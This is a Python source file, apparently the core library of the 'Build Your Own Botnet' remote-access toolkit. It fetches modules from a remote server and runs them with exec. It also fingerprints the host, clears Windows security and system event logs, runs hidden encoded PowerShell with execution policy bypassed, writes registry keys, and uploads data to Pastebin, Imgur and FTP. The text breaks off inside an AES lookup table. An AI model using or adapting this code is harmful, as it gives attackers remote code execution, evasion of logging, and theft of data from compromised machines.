3u2DsPWw

1#!/usr/bin/python
2# -*- coding: utf-8 -*-
3'Loader (Build Your Own Botnet)'
4
5# standard library
6import imp
7import sys
8import logging
9import contextlib
10if sys.version_info[0] < 3:
11    from urllib2 import urlopen
12else:
13    from urllib.request import urlopen
14
15def log(info='', level='debug'):
16    logging.basicConfig(level=logging.DEBUG, handlers=[logging.StreamHandler()])
17    logger = logging.getLogger(__name__)
18    getattr(logger, level)(str(info)) if hasattr(logger, level) else logger.debug(str(info))
19
20# main
21class Loader(object):
22    """
23    The class that implements the remote import API.
24    :param list modules: list of module/package names to make available for remote import
25    :param str base_url: URL of directory/repository of modules being served through HTTPS
26
27    """
28
29    def __init__(self, modules, base_url):
30        self.module_names = modules
31        self.base_url = base_url + '/'
32        self.non_source = False
33        self.reload = False
34        '''
35        self.mod_msg = {}
36        '''
37
38    def find_module(self, fullname, path=None):
39        log(level='debug', info= "FINDER=================")
40        log(level='debug', info= "Searching: %s" % fullname)
41        log(level='debug', info= "Path: %s" % path)
42        log(level='info', info= "Checking if in declared remote module names...")
43        if fullname.split('.')[0] not in self.module_names + list(set([_.split('.')[0] for _ in self.module_names])):
44            log(level='info', info= "[-] Not found!")
45            return None
46        log(level='info', info= "Checking if built-in....")
47        try:
48            file, filename, description = imp.find_module(fullname.split('.')[-1], path)
49            if filename:
50                log(level='info', info= "[-] Found locally!")
51                return None
52        except ImportError:
53            pass
54        log(level='info', info= "Checking if it is name repetition... ")
55        if fullname.split('.').count(fullname.split('.')[-1]) > 1:
56            log(level='info', info= "[-] Found locally!")
57            return None
58        '''
59        msg = self.__get_source(fullname,path)
60        if msg==None:
61            return None
62        is_package,final_url,source_code=msg
63        self.mod_msg.setdefault(fullname,MsgClass(is_package,final_url,source_code))
64        '''
65        log(level='info', info= "[+] Module/Package '%s' can be loaded!" % fullname)
66        return self
67
68    def load_module(self, name):
69        '''
70        mod_msg=self.mod_msg.get(fullname)
71        '''
72        imp.acquire_lock()
73        log(level='debug', info= "LOADER=================")
74        log(level='debug', info= "Loading %s..." % name)
75        if name in sys.modules and not self.reload:
76            log(level='info', info= '[+] Module "%s" already loaded!' % name)
77            imp.release_lock()
78            return sys.modules[name]
79        if name.split('.')[-1] in sys.modules and not self.reload:
80            log(level='info', info= '[+] Module "%s" loaded as a top level module!' % name)
81            imp.release_lock()
82            return sys.modules[name.split('.')[-1]]
83        module_url = self.base_url + '%s.py' % name.replace('.', '/')
84        package_url = self.base_url + '%s/__init__.py' % name.replace('.', '/')
85        zip_url = self.base_url + '%s.zip' % name.replace('.', '/')
86        final_url = None
87        final_src = None
88        try:
89            log(level='debug', info= "Trying to import '%s' as package from: '%s'" % (name, package_url))
90            package_src = None
91            if self.non_source:
92                package_src = self.__fetch_compiled(package_url)
93            if package_src == None:
94                package_src = urlopen(package_url).read()
95            final_src = package_src
96            final_url = package_url
97        except IOError as e:
98            package_src = None
99            log(level='info', info= "[-] '%s' is not a package (%s)" % (name, str(e)))
100        if final_src == None:
101            try:
102                log(level='debug', info= "[+] Trying to import '%s' as module from: '%s'" % (name, module_url))
103                module_src = None
104                if self.non_source:
105                    module_src = self.__fetch_compiled(module_url)
106                if module_src == None:
107                    module_src = urlopen(module_url).read()
108                final_src = module_src
109                final_url = module_url
110            except IOError as e:
111                module_src = None
112                log(level='info', info= "[-] '%s' is not a module (%s)" % (name, str(e)))
113                imp.release_lock()
114                return None
115        log(level='debug', info= "[+] Importing '%s'" % name)
116        mod = imp.new_module(name)
117        mod.__loader__ = self
118        mod.__file__ = final_url
119        if not package_src:
120            mod.__package__ = name.rpartition('.')[0]
121        else:
122            mod.__package__ = name
123            mod.__path__ = ['/'.join(mod.__file__.split('/')[:-1]) + '/']
124        log(level='debug', info= "[+] Ready to execute '%s' code" % name)
125        sys.modules[name] = mod
126        exec(final_src, mod.__dict__)
127        log(level='info', info= "[+] '%s' imported succesfully!" % name)
128        imp.release_lock()
129        return mod
130    
131    '''
132    def __get_source(self,fullname,path):
133        url=self.baseurl+"/".join(fullname.split("."))
134        source=None
135        is_package=None
136        
137        # Check if it's a package
138        try:
139            final_url=url+"/__init__.py"
140            source = urlopen(final_url).read()
141            is_package=True
142        except Exception as e:
143            log(level='debug', info= "[-] %s!" %e)
144            
145        # A normal module
146        if is_package == None :  
147            try:
148                final_url=url+".py"
149                source = urlopen(final_url).read()
150                is_package=False
151            except Exception as e:
152                log(level='debug', info= "[-] %s!" %e)
153                return None
154                
155        return is_package,final_url,source
156    '''
157    
158    def __fetch_compiled(self, url):
159        import marshal
160        module_src = None
161        try:
162            module_compiled = urlopen(url + 'c').read()
163            try:
164                module_src = marshal.loads(module_compiled[8:])
165                return module_src
166            except ValueError:
167                pass
168            try:
169                module_src = marshal.loads(module_compiled[12:])  # Strip the .pyc file header of Python 3.3 and onwards (changed .pyc spec)
170                return module_src
171            except ValueError:
172                pass
173        except IOError as e:
174            log(level='debug', info= "[-] No compiled version ('.pyc') for '%s' module found!" % url.split('/')[-1])
175        return module_src
176
177def __create_github_url(username, repo, branch='master'):
178    github_raw_url = 'https://raw.githubusercontent.com/{user}/{repo}/{branch}/'
179    return github_raw_url.format(user=username, repo=repo, branch=branch)
180
181def _add_git_repo(url_builder, username=None, repo=None, module=None, branch=None, commit=None):
182    if username == None or repo == None:
183        raise Exception("'username' and 'repo' parameters cannot be None")
184    if commit and branch:
185        raise Exception("'branch' and 'commit' parameters cannot be both set!")
186    if commit:
187        branch = commit
188    if not branch:
189        branch = 'master'
190    if not module:
191        module = repo
192    if type(module) == str:
193        module = [module]
194    url = url_builder(username, repo, branch)
195    return add_remote_repo(module, url)
196
197def add_remote_repo(modules, base_url='http://localhost:8000/'):
198    """
199    Function that creates and adds to the 'sys.meta_path' an Loader object.
200    The parameters are the same as the Loader class contructor.
201    """
202    importer = Loader(modules, base_url)
203    sys.meta_path.insert(0, importer)
204    return importer
205
206def remove_remote_repo(base_url):
207    """
208    Function that removes from the 'sys.meta_path' an Loader object given its HTTP/S URL.
209    """
210    for importer in sys.meta_path:
211        try:
212            if importer.base_url.startswith(base_url):  # an extra '/' is always added
213                sys.meta_path.remove(importer)
214                return True
215        except AttributeError as e: pass
216    return False
217
218@contextlib.contextmanager
219def remote_repo(modules, base_url='http://localhost:8000/'):
220    """
221    Context Manager that provides remote import functionality through a URL.
222    The parameters are the same as the Loader class contructor.
223    """
224    importer = add_remote_repo(modules, base_url)
225    yield
226    remove_remote_repo(base_url)
227
228@contextlib.contextmanager
229def github_repo(username=None, repo=None, module=None, branch=None, commit=None):
230    """
231    Context Manager that provides import functionality from Github repositories through HTTPS.
232    The parameters are the same as the '_add_git_repo' function. No 'url_builder' function is needed.
233    """
234    importer = _add_git_repo(__create_github_url,
235        username, repo, module=module, branch=branch, commit=commit)
236    yield
237    remove_remote_repo(importer.base_url)
238
239
240# remotely import dependencies from server
241
242packages = ['functools', 'random', 'subprocess', 'uuid', 'errno', 'base64', 'json', 'collections', 'numpy', 'ftplib', 'zipfile', 'sys', 'ctypes', 'copy', 'struct', 'hashlib', 'logging', 'socket', 'StringIO', 'zlib', 'threading', 'time', 'colorama', 'requests', 'os']
243packages_tmp = ['functools', 'random', 'subprocess', 'uuid', 'errno', 'base64', 'json', 'collections', 'numpy', 'ftplib', 'zipfile', 'sys', 'ctypes', 'copy', 'struct', 'hashlib', 'logging', 'socket', 'StringIO', 'zlib', 'threading', 'time', 'colorama', 'requests', 'os']
244
245for package in packages_tmp:
246    try:
247        exec("import %s" % package, globals())
248        packages.remove(package)
249    except: pass
250
251with remote_repo(packages, base_url='http://127.0.0.1:447'):
252    for package in packages:
253        try:
254            exec("import %s" % package, globals())
255        except: pass
256
257
258def log(info, level='debug'):
259    """
260    Log output to the console (if verbose output is enabled)
261
262    """
263    import logging
264    logging.basicConfig(level=logging.DEBUG if globals()['_debug'] else logging.ERROR, handlers=[logging.StreamHandler()])
265    logger = logging.getLogger(__name__)
266    getattr(logger, level if hasattr(logger, level) else 'debug')(str(info))
267
268def imports(source, target=None):
269    """
270    Attempt to import each package into the module specified
271
272    `Required`
273    :param list source: package/module to import
274
275    `Optional`
276    :param object target: target object/module to import into
277
278    """
279    if isinstance(source, str):
280        source = source.split()
281    if isinstance(target, dict):
282        module = target
283    elif hasattr(target, '__dict__'):
284        module = target.__dict__
285    else:
286        module = globals()
287    for src in source:
288        try:
289            exec("import {}".format(src), target)
290        except ImportError:
291            log("missing package '{}' is required".format(source))
292
293def is_compatible(platforms=['win32','linux2','darwin'], module=None):
294    """
295    Verify that a module is compatible with the host platform
296
297    `Optional`
298    :param list platforms:   compatible platforms
299    :param str module:       name of the module
300
301    """
302    import sys
303    if sys.platform in platforms:
304        return True
305    log("module {} is not yet compatible with {} platforms".format(module if module else '', sys.platform), level='warn')
306    return False
307
308def platform():
309    """
310    Return the system platform of host machine
311
312    """
313    import sys
314    return sys.platform
315
316def public_ip():
317    """
318    Return public IP address of host machine
319
320    """
321    import sys
322    if sys.version_info[0] > 2:
323        from urllib.request import urlopen
324    else:
325        from urllib2 import urlopen
326    return urlopen('http://api.ipify.org').read()
327
328def local_ip():
329    """
330    Return local IP address of host machine
331
332    """
333    import socket
334    return socket.gethostbyname(socket.gethostname())
335
336def mac_address():
337    """
338    Return MAC address of host machine
339
340    """
341    import uuid
342    return ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper()
343
344def architecture():
345    """
346    Check if host machine has 32-bit or 64-bit processor architecture
347
348    """
349    import struct
350    return int(struct.calcsize('P') * 8)
351
352def device():
353    """
354    Return the name of the host machine
355
356    """
357    import socket
358    return socket.getfqdn(socket.gethostname())
359
360def username():
361    """
362    Return username of current logged in user
363
364    """
365    import os
366    return os.getenv('USER', os.getenv('USERNAME', 'user'))
367
368def administrator():
369    """
370    Return True if current user is administrator, otherwise False
371
372    """
373    import os
374    import ctypes
375    return bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0)
376
377def ipv4(address):
378    """
379    Check if valid IPv4 address
380
381    `Required`
382    :param str address:   string to check
383
384    Returns True if input is valid IPv4 address, otherwise False
385
386    """
387    import socket
388    try:
389        if socket.inet_aton(str(address)):
390            return True
391    except:
392        return False
393
394def status(timestamp):
395    """
396    Check the status of a job/thread
397
398    `Required`
399    :param float timestamp:   Unix timestamp (seconds since the Epoch)
400
401    """
402    import time
403    c = time.time() - float(timestamp)
404    data=['{} days'.format(int(c / 86400.0)) if int(c / 86400.0) else str(),
405          '{} hours'.format(int((c % 86400.0) / 3600.0)) if int((c % 86400.0) / 3600.0) else str(),
406          '{} minutes'.format(int((c % 3600.0) / 60.0)) if int((c % 3600.0) / 60.0) else str(),
407          '{} seconds'.format(int(c % 60.0)) if int(c % 60.0) else str()]
408    return ', '.join([i for i in data if i])
409
410def unzip(filename):
411    """
412    Extract all files from a ZIP archive
413
414    `Required`
415    :param str filename:     path to ZIP archive
416
417    """
418    import os
419    import zipfile
420    z = zipfile.ZipFile(filename)
421    path = os.path.dirname(filename)
422    z.extractall(path=path)
423
424def post(url, headers={}, data={}, json={}, as_json=False):
425    """
426    Make a HTTP post request and return response
427
428    `Required`
429    :param str url:       URL of target web page
430
431    `Optional`
432    :param dict headers:  HTTP request headers
433    :param dict data:     HTTP request POST data
434    :param dict json:     POST data in JSON format
435    :param bool as_json:  return JSON formatted output
436
437    """
438    try:
439        import requests
440        req = requests.post(url, headers=headers, data=data, json=json)
441        output = req.content
442        if as_json:
443            try:
444                output = req.json()
445            except: pass
446        return output
447    except ImportError:
448        import sys
449        if sys.version_info[0] > 2:
450            from urllib.request import urlopen,urlencode,Request
451        else:
452            from urllib import urlencode
453            from urllib2 import urlopen,Request
454        data = urlencode(data)
455        req  = Request(str(url), data=data)
456        for key, value in headers.items():
457            req.headers[key] = value
458        output = urlopen(req).read()
459        if as_json:
460            import json
461            try:
462                output = json.loads(output)
463            except: pass
464        return output
465
466def normalize(source):
467    """
468    Normalize data/text/stream
469
470    `Required`
471    :param source:   string OR readable-file
472
473    """
474    import os
475    if os.path.isfile(source):
476        return open(source, 'rb').read()
477    elif hasattr(source, 'getvalue'):
478        return source.getvalue()
479    elif hasattr(source, 'read'):
480        if hasattr(source, 'seek'):
481            source.seek(0)
482        return source.read()
483    else:
484        return bytes(source)
485
486def registry_key(key, subkey, value):
487    """
488    Create a new Windows Registry Key in HKEY_CURRENT_USER
489
490    `Required`
491    :param str key:         primary registry key name
492    :param str subkey:      registry key sub-key name
493    :param str value:       registry key sub-key value
494
495    Returns True if successful, otherwise False
496
497    """
498    try:
499        import _winreg
500        reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)
501        _winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)
502        _winreg.CloseKey(reg_key)
503        return True
504    except Exception as e:
505        log(e)
506        return False
507
508def png(image):
509    """
510    Transforms raw image data into a valid PNG data
511
512    `Required`
513    :param image:   `numpy.darray` object OR `PIL.Image` object
514
515    Returns raw image data in PNG format
516
517    """
518    import zlib
519    import numpy
520    import struct
521
522    try:
523        from StringIO import StringIO  # Python 2
524    except ImportError:
525        from io import StringIO        # Python 3
526
527    if isinstance(image, numpy.ndarray):
528        width, height = (image.shape[1], image.shape[0])
529        data = image.tobytes()
530    elif hasattr(image, 'width') and hasattr(image, 'height') and hasattr(image, 'rgb'):
531        width, height = (image.width, image.height)
532        data = image.rgb
533    else:
534        raise TypeError("invalid input type: {}".format(type(image)))
535
536    line = width * 3
537    png_filter = struct.pack('>B', 0)
538    scanlines = b"".join([png_filter + data[y * line:y * line + line] for y in range(height)])
539    magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)
540
541    ihdr = [b"", b'IHDR', b"", b""]
542    ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)
543    ihdr[3] = struct.pack('>I', zlib.crc32(b"".join(ihdr[1:3])) & 0xffffffff)
544    ihdr[0] = struct.pack('>I', len(ihdr[2]))
545
546    idat = [b"", b'IDAT', zlib.compress(scanlines), b""]
547    idat[3] = struct.pack('>I', zlib.crc32(b"".join(idat[1:3])) & 0xffffffff)
548    idat[0] = struct.pack('>I', len(idat[2]))
549
550    iend = [b"", b'IEND', b"", b""]
551    iend[3] = struct.pack('>I', zlib.crc32(iend[1]) & 0xffffffff)
552    iend[0] = struct.pack('>I', len(iend[2]))
553
554    fileh = StringIO()
555    fileh.write(magic)
556    fileh.write(b"".join(ihdr))
557    fileh.write(b"".join(idat))
558    fileh.write(b"".join(iend))
559    fileh.seek(0)
560    return fileh.getvalue()
561
562def delete(target):
563    """
564    Tries to delete file via multiple methods, if necessary
565
566    `Required`
567    :param str target:     target filename to delete
568
569    """
570    import os
571    import shutil
572    try:
573        _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777)
574    except OSError: pass
575    try:
576        if os.path.isfile(target):
577            os.remove(target)
578        elif os.path.isdir(target):
579            import shutil
580            shutil.rmtree(target, ignore_errors=True)
581    except OSError: pass
582
583def clear_system_logs():
584    """
585    Clear Windows system logs (Application, security, Setup, System)
586
587    """
588    try:
589        for log in ["application","security","setup","system"]:
590            output = powershell("& { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog(\"%s\")}" % log)
591            if output:
592                log(output)
593    except Exception as e:
594        log(e)
595
596def kwargs(data):
597    """
598    Takes a string as input and returns a dictionary of keyword arguments
599
600    `Required`
601    :param str data:    string to parse for keyword arguments
602
603    Returns dictionary of keyword arguments as key-value pairs
604
605    """
606    try:
607        return {i.partition('=')[0]: i.partition('=')[2] for i in str(data).split() if '=' in i}
608    except Exception as e:
609        log(e)
610
611def powershell(code):
612    """
613    Execute code in Powershell.exe and return any results
614
615    `Required`
616    :param str code:      script block of Powershell code
617
618    Returns any output from Powershell executing the code
619
620    """
621    import os
622    import base64
623    try:
624        powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip()
625        return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read()
626    except Exception as e:
627        log("{} error: {}".format(powershell.__name__, str(e)))
628
629def display(output, color=None, style=None, end='\\n', event=None, lock=None):
630    """
631    Display output in the console
632
633    `Required`
634    :param str output:    text to display
635
636    `Optional`
637    :param str color:     red, green, cyan, magenta, blue, white
638    :param str style:     normal, bright, dim
639    :param str end:       __future__.print_function keyword arg
640    :param lock:          threading.Lock object
641    :param event:         threading.Event object
642
643    """
644    if isinstance(output, bytes):
645        output = output.decode('utf-8')
646    else:
647        output = str(output)
648    _color = ''
649    if color:
650        _color = getattr(colorama.Fore, color.upper())
651    _style = ''
652    if style:
653        _style = getattr(colorama.Style, style.upper())
654    exec("""print(_color + _style + output + colorama.Style.RESET_ALL, end="{}")""".format(end))
655
656def color():
657    """
658    Returns a random color for use in console display
659
660    """
661    try:
662        import random
663        return random.choice(['BLACK', 'BLUE', 'CYAN', 'GREEN', 'LIGHTBLACK_EX', 'LIGHTBLUE_EX', 'LIGHTCYAN_EX', 'LIGHTGREEN_EX', 'LIGHTMAGENTA_EX', 'LIGHTRED_EX', 'LIGHTWHITE_EX', 'LIGHTYELLOW_EX', 'MAGENTA', 'RED', 'RESET', 'WHITE', 'YELLOW'])
664    except Exception as e:
665        log("{} error: {}".format(color.__name__, str(e)))
666
667def imgur(source, api_key=None):
668    """
669    Upload image file/data to Imgur
670
671    """
672    import base64
673    if api_key:
674        response = post('https://api.imgur.com/3/upload', headers={'Authorization': 'Client-ID {}'.format(api_key)}, data={'image': base64.b64encode(normalize(source)), 'type': 'base64'}, as_json=True)
675        return response['data']['link'].encode()
676    else:
677        log("No Imgur API key found")
678
679def pastebin(source, api_key):
680    """
681    Upload file/data to Pastebin
682
683    `Required`
684    :param str source:         data or readable file-like object
685    :param str api_dev_key:    Pastebin api_dev_key
686
687    `Optional`
688    :param str api_user_key:   Pastebin api_user_key
689
690    """
691    import sys
692    if sys.version_info[0] > 2:
693        from urllib.parse import urlsplit,urlunsplit
694    else:
695        from urllib2 import urlparse
696        urlsplit = urlparse.urlsplit
697        urlunsplit = urlparse.urlunsplit
698    if isinstance(api_key, str):
699        try:
700            info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key}
701            paste = post('https://pastebin.com/api/api_post.php', data=info)
702            parts = urlsplit(paste)
703            result = urlunsplit((parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste
704            if not result.endswith('/'):
705                result += '/'
706            return result
707        except Exception as e:
708            log("Upload to Pastebin failed with error: {}".format(e))
709    else:
710        log("No Pastebin API key found")
711
712def ftp(source, host=None, user=None, password=None, filetype=None):
713    """
714    Upload file/data to FTP server
715
716    `Required`
717    :param str source:    data or readable file-like object
718    :param str host:      FTP server hostname
719    :param str user:      FTP account username
720    :param str password:  FTP account password
721
722    `Optional`
723    :param str filetype:  target file type (default: .txt)
724
725    """
726    import os
727    import time
728    import ftplib
729
730    try:
731        from StringIO import StringIO  # Python 2
732    except ImportError:
733        from io import StringIO        # Python 3
734
735    if host and user and password:
736        path  = ''
737        local = time.ctime().split()
738        if os.path.isfile(str(source)):
739            path   = source
740            source = open(path, 'rb')
741        elif hasattr(source, 'seek'):
742            source.seek(0)
743        else:
744            source = StringIO(source)
745        try:
746            ftp = ftplib.FTP(host=host, user=user, password=password)
747        except:
748            return "Upload failed - remote FTP server authorization error"
749        addr = public_ip()
750        if 'tmp' not in ftp.nlst():
751            ftp.mkd('/tmp')
752        if addr not in ftp.nlst('/tmp'):
753            ftp.mkd('/tmp/{}'.format(addr))
754        if path:
755            path = '/tmp/{}/{}'.format(addr, os.path.basename(path))
756        else:
757            filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype)
758            path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype))
759        stor = ftp.storbinary('STOR ' + path, source)
760        return path
761    else:
762        log('missing one or more required arguments: host, user, password')
763
764def config(*arg, **options):
765    """
766    Configuration decorator for adding attributes (e.g. declare platforms attribute with list of compatible platforms)
767
768    """
769    import functools
770    def _config(function):
771        @functools.wraps(function)
772        def wrapper(*args, **kwargs):
773            return function(*args, **kwargs)
774        for k,v in options.items():
775            setattr(wrapper, k, v)
776        return wrapper
777    return _config
778
779def threaded(function):
780    """
781    Decorator for making a function threaded
782
783    `Required`
784    :param function:    function/method to run in a thread
785
786    """
787    import time
788    import threading
789    import functools
790    @functools.wraps(function)
791    def _threaded(*args, **kwargs):
792        t = threading.Thread(target=function, args=args, kwargs=kwargs, name=time.time())
793        t.daemon = True
794        t.start()
795        return t
796    return _threaded
797
798
799def _compact_word(word):
800    return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
801
802def _string_to_bytes(text):
803    return list(ord(c) for c in text)
804
805def _bytes_to_string(binary):
806    return "".join(chr(b) for b in binary)
807
808def _concat_list(a, b):
809    return a + b
810
811
812# Python 3 compatibility
813try:
814    xrange
815except NameError:
816    xrange = range
817
818    # Python 3 supports bytes, which is already an array of integers
819    def _string_to_bytes(text):
820        if isinstance(text, bytes):
821            return text
822        return [ord(c) for c in text]
823
824    # In Python 3, we return bytes
825    def _bytes_to_string(binary):
826        return bytes(binary)
827
828    # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first
829    def _concat_list(a, b):
830        return a + bytes(b)
831
832
833class AES(object):
834    """
835    Encapsulates the AES block cipher
836
837    """
838
839    # Number of rounds by keysize
840    number_of_rounds = {16: 10, 24: 12, 32: 14}
841
842    # Round constant words
843    rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]
844
845    # S-box and Inverse S-box (S is for Substitution)
846    S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]
847    Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ]
848
849    # Transformations for encryption
850    T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 